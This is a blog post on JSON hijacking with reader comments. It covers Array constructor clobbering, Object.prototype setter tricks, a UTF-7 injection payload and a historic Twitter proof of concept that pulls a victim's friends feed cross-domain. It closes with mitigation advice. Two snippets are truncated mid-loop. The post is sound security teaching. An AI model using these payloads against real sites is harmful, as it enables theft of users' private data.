JSON Hijacking

There isn’t a lot of information about JSON hijacking out there at the minute, I will aim to provide a “news update” on the state of publicly known techniques. First off I will give a quick overview of how JSON data can be stolen and explain how JavaScript reads JSON.

JavaScript’s quirky nature

There is a little quirk in how JavaScript reads objects, it is a syntax oversight. When a “{” is first encountered if no other statement appeared before or it does not occur inside another object then the code is treated as a block statement. A block statement is simply a collection of one or more JavaScript statements inside a block of curly braces. Here is an example of a block statement:


{1+1,alert('I am a block statement')}

You might have seen code like the following when related to JSON:

eval('('+JSON_DATA+')');

Notice the beginning and ending parenthesis, this is to force JavaScript to execute the data as an object not a block statement mentioned above. If JavaScript did attempt to execute JSON data without the parenthesis and the JSON data did in fact begin with “{” then a syntax error would occur because the block statement would be invalid. To the eval statement the JSON data would look like this:


{"name":"Gareth"}

Because the “{” begins the data it is in block statement mode and the “name” part is treated as a string literal when the colon is encountered it raises a syntax error because a colon cannot occur after a String unless it’s part of a ternary statement. Hopefully now you’ll see why some code uses eval with enclosing parenthesis, I’d like to mention that using eval directly on JSON data is bad practice, you are far better validating the data first or using the browser’s native JSON objects to read the data but it illustrates my point well for understanding how the JSON data is parsed.

The question is what sort of code would execute a object literal when JSON data is encountered? The most common scenario is when the data is placed inside an array literal, if you remembered from my previous explanation ” When a “{” is first encountered if no other statement appeared before or it does not occur inside another object then the code is treated as a block statement. ” so the following are valid object literal statements:


1,{"I am an object":"Literal"}
~{"I am an object":"Literal"}
1+{"I am an object":"Literal"}
[{"I am an object":"Literal"}]

The last example we’re most interested in because many sites use this form of JSON structure. Notice that no variable is assigned for the array literal and the JSON data is executed directly to obtain its contents, but how would you steal this data cross-domain?

Array constructor clobbering

You now know what sort of JSON structure you’re looking for, in the past in Firefox it was possible to clobber the array constructor [1]. This means we could overwrite the array behaviour before the JSON data was read. Then because we had control over the array we could read the data before it was sent. It looked like this:


function Array() {
for(var i=0;i

As you can see this is how the data was stolen, each object was passed to our function via the arguments then you could read the data from an external inclusion of the data. Unfortunately/ fortunately depending on your perspective this was fixed in Firefox by not calling the constructor for array literals. Note that this is a non-standard fix for security sake. Other browsers still implement that functionality. We can still demonstrate the past attack though by using the Array constructor directly so you can see how it worked in the past:


function Array() {
for(var i=0;i


window.__defineSetter__('x', function() {
alert('x is being assigned!');
});
window.x=1;

The example should alert "x is being assigned!". The __defineSetter__ is a special method that allows you to attach a setter to an object. The first argument is the name of your setter in this case "x" and the second argument is the function you wish to call, the object is taken from whichever object you called the __defineSetter__ method.
Now you know how they work you can now use this technique to steal JSON data by applying it to the Object prototype. The Object prototype is a Object that every other object inherits from in JavaScript, if you create a setter on the name of your target JSON data then you can get the value of the data. This time I'll show you a real world attack on Twitter that was fixed. My original article was called "I Know what your friends did last summer" [4] it was a play on the really bad horror films and the fact you could know who your friends are on twitter and basically what they were doing and where. Joe Walker also discovered this technique separately [5]


<script>
Object.prototype.__defineSetter__('user',function(obj){
for(var i in obj) {
alert(i + '=' + obj[i]);
}
});
</script>
<script defer="defer" src=https://twitter.com/statuses/friends_timeline/>
</script>

The first part of the script uses __defineSetter__ on the object prototype and uses "user" as a property, Twitter used the "user" property to store an object about the user in the JSON data. The script then loops through the object and reads the data about the user which would be name,email, location etc. The second part actually includes the twitter JSON feed.

New attacks

If you have partial control over some of the JSON data it's possible to steal the data by manipulating it using UTF-7. For example if you control the "email" field of the JSON data you could encode it in such a way that when it's included it exposes the rest of the data.


[{'friend':'luke','email':'+ACcAfQBdADsAYQBsAGUAcgB0ACgAJw
BNAGEAeQAgAHQAaABlACAAZgBvAHIAYwBlACAAYgBlACAAdw
BpAHQAaAAgAHkAbwB1ACcAKQA7AFsAewAnAGoAb
wBiACcAOgAnAGQAbwBuAGU-'}]

You can then include the JSON data using a script tag with the UTF-7 charset which converts the +- encoded string to:

[{'friend':'luke','email':''}];alert(‘May the force be with you’);[{'job':'done'}]

Our email field is being closed and manipulated so we can inject our own JavaScript, this way we could steal the data by using timeouts or function calls on the array data. The user "luoluo" from a comment on my blog provides a good example:


[{'friend':'luke','email':''}, 1].sort(function(x,y) {
for (var o in x) {
alert(o + “:” + x[o]);
}
});
setTimeout(function() {
var x = data[0];
for (var o in x) {
alert(o + “:” + x[o]);
}
}, 100);var data=[{'job':'done'}];

ES5 functionality

If __defineSetter__ is not available there is a standards based alternative that may allow JSON stealing to continue. Using the defineProperty or defineProperties methods of the Object you could conduct a similar attack which varies in syntax only slightly.


Object.defineProperty(window,'x',{set: function() {
alert('x is being assigned!');
}});
window.x=1;

As you can see the syntax is very similar, this time however we use window.Object to call the method and specify the Object we wish to create the setter on in the first argument, the second argument is the name of our property and the third argument takes a object literal to define the setter. This can also be applied to the Object prototype by replacing "window" with Object.prototype thus re-creating the object prototype attack mentioned earlier.


Object.defineProperty(Object.prototype, 'user', {
set:function(obj) {
for(var i in obj) {
alert(i + '=' + obj[i]);
}
}
});

Conclusion

If you are pen testing JSON feeds make sure the web site in question prevents external inclusion of the data via script or even better recommend the site does not expose the data publicly if privacy will be compromised. Twitter solved the information disclosure problem by requiring authentication for its JSON and other feeds consider doing the same if the data has to be exposed.
The flaws mentioned in this article exploit design level bugs in how Object literals & array constructors are handled, some browser vendors do not consider them flaws as such, I have to disagree.
The root of the problem is external script inclusion across domains which unfortunately isn’t going to go away any time soon due to the design of the web, we can lock down features in way that they do not compromise privacy, do we really need setters on the Object prototype? If they are required why not place some restrictions on how they can be applied across domains. I understand the vendor’s point of view, technically they are not flaws they are features and in a perfect world they would be used in the correct way and web sites would generate well formed JSON feeds but this isn’t a perfect world and web developers make assumptions about their data. I recommend vendors follow the developer’s assumptions and prevent these types of attacks by locking down the functionality so it can’t be exploited. Developer assumptions create security holes.

References/Links

[1] Joe Walker http://directwebremoting.org/blog/joe/2007/03/05/json_is_not_as_safe_as_people_think_it_is.html
[2] Jeremiah Grossman http://jeremiahgrossman.blogspot.com/2006/01/advanced-web-attack-techniques-using.html
[3] Mozilla security https://developer.mozilla.org/web-tech/2009/04/29/object-and-array-initializers-should-not-invoke-setters-when-evaluated/
[4] http://www.thespanner.co.uk/2009/01/07/i-know-what-your-friends-did-last-summer/
[5] Joe Walker http://directwebremoting.org/blog/joe/2007/03/06/json_is_not_as_safe_as_people_think_it_is_part_2.html

8 Responses to “JSON Hijacking”

  1. Oxdef writes:

    Interesting vector with UTF-7 encoding. But all these attacks doesn’t work in case of usage of valid JSON object like {“foo”:”bar”} in response, does it?

  2. Maciej ?ebkowski writes:

    Wouldn’t simple “while(1);” at the start of the file help in all those cases?

    The victim site has access to response contents, so it could simply .substr() it. The attacker, on the other hand, relies on execution of the payload, and this would prevent it.

  3. Gareth Heyes writes:

    @Oxdef

    Yeah as mentioned in the article those would be treated as block statements and fail to be remotely included. JSON data which has been enclosed in an array is usually vulnerable to these types of attacks.

    @Maciej

    Yeah that would be suitable mitigation to these type of attacks.

  4. oliver writes:

    The ES5 spec says that properties defined in object literals are put directly on the newly created objects — eg. any setters on the prototype chain will not be called, so in any modern engine:

    Object.prototype.__defineSetter__(“x”, alert)
    ({x: “Hello World”})

    will produce an object with a property “x” and value “Hello World”. It will not call the setter. Unless it’s a non-conforming implementation of course.

  5. Gareth Heyes writes:

    @Oliver

    I actually wrote this article quite a while ago and only just posted it now, at the time every browser called the setter on the object prototype they must have changed their stance on the issue

  6. Soroush writes:

    I’m always wondering if there is any way to replace “while” and “for” to make json hijacking perfect. (1) Do you know any method for doing this?
    By the way, (2) do you think that CSRF protection methods are also good enough to prevent from these things? Why don’t they do it at the first place?

  7. Eli Grey writes:

    I made a JSON hijacking PoC (http://code.eligrey.com/sec/json-hijacking/poc.html) a while back that demonstrated how to reconstruct all of the data from the JSON that is being hijacked, which may be of interest to you.

  8. David Bruant writes:

    “I’d like to mention that using eval directly on JSON data is bad practice, you are far better validating the data first or using the browser’s native JSON objects to read the data but it illustrates my point well for understanding how the JSON data is parsed.”
    => It actually does not. JSON has its own grammar in ES5: http://es5.github.com/#x5.1.5
    Anything parsed as a JSON string and not valid must throw a SyntaxError in conforming ES5 environments. It does at on on FF4 and Chrome 11.

    “Unfortunately/ fortunately depending on your perspective this was fixed in Firefox by not calling the constructor for array literals. Note that this is a non-standard fix for security sake.”
    => This was non-standard in ES3. This is standard in ES5. See http://es5.github.com/#x11.1.4 step 1:
    “Let array be the result of creating a new object as if by the expression new Array() where *Array is the standard built-in constructor* with that name.”. True for all constructor in ES5. I haven’t checked implementations. Weird errors occur when duck-typing Array in Chrome 11. At least, it does not behave like a security threat.